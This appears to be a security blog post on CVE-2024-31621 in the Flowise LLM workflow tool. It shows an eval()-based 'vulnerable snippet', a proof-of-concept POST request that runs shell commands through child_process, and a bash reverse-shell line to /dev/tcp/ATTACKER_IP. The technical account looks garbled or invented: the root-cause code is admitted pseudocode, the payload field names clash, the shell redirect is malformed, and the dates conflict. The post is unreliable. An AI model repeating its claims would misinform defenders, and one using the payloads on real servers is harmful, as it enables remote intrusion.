CVE-2024-31621 - Remote Code Execution in FlowiseAI Inc Flowise (v1.6.2 and Earlier)

Recently, a critical vulnerability was discovered in FlowiseAI Inc’s Flowise, a popular open-source low-code tool for building workflows with Large Language Models (LLMs). This flaw—assigned CVE-2024-31621—lets remote attackers run any code they want on servers running Flowise version 1.6.2 and earlier. The root of the issue is an insecure script evaluation used in the /api/v1 component.

In this post, we'll look at how the bug works, show proof-of-concept code, walk through potential exploits, and point you to trusted references. Please note, this is for educational and defensive purposes only—never use these details for unauthorized actions.

What is Flowise?

Flowise lets users visually build and run LLM-powered workflows via a web interface. The backend processes user scripts to connect nodes and data. It gained popularity fast in the AI developer community for its flexibility and open design.

About CVE-2024-31621

The vulnerability was disclosed on GitHub Security Advisories and tracked under NVD. In simple terms, when Flowise’s API handles certain requests—especially those with embedded scripts—it doesn’t properly validate user input or restrict script execution, which opens the door for attackers.

Affected:

Flowise v1.6.2 and all earlier versions

Attack vector:

No authentication required (in default configuration)

Component:
- /api/v1 endpoint

The Problem

Flowise allows users to inject custom scripts in its workflow builder. Internally, these scripts are run using something like Node's eval() or similar dynamic evaluation methods.

Here's a sanitized look at the risky part (sample pseudocode)

// vulnerable snippet from the API handler
app.post('/api/v1/run-script', function(req, res) {
    const userScript = req.body.script;
    // WARNING: dangerous eval!
    let result = eval(userScript);  
    res.json({ output: result });
});

If userScript comes straight from the API request and is not validated or sandboxed, anyone can send a POST request to run *any* code—like deleting files, running commands, or installing malware.

Proof of Concept (Exploit)

Let’s say the attacker wants to list all files in the / directory.

POST Request

POST /api/v1/run-script HTTP/1.1
Host: vulnerable-server
Content-Type: application/json

{
  "script": "require('child_process').execSync('ls /').toString()"
}

What happens?
The server receives the payload, runs the script with Node.js permissions, and replies with the contents of the root directory! By changing the script, the attacker can do anything the server’s Node.js process user can.

More dangerously, an attacker could open a reverse shell to their own machine. For example

"userScript": "require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/4444 >&1')"

(This assumes /bin/bash and outbound networking are allowed.)

Mitigation

Upgrade Immediately:
A patched release (v1.6.3+) is available. Download from official Flowise releases.

Workaround:

Restrict access to the management API with firewall rules

- Never expose development/staging servers to the public

General Advice:

Sanitize and whitelist input data

- Use environments like vm2 for safe script evaluation

References

- FlowiseAI Security Advisory - CVE-2024-31621
- NVD CVE Entry
- Official Fix Patch Example
- OWASP Node.js Security Best Practices
- vm2: Node.js Sandbox

Closing Thoughts

CVE-2024-31621 is a great (and scary) example of why never to trust user input in backend code. If you’re running Flowise, *patch now*. If you built your own integrations, audit every place user scripts can run. Even one eval() could let an attacker take everything.

Stay safe and keep your stacks updated!

Disclaimer: This article is for educational & defense awareness only. Do not misuse or attack systems you don’t own.
*Author: AI Security Insights | June 2024*

Timeline

Published on: 04/29/2024 17:15:19 UTC
Last modified on: 08/01/2024 13:51:02 UTC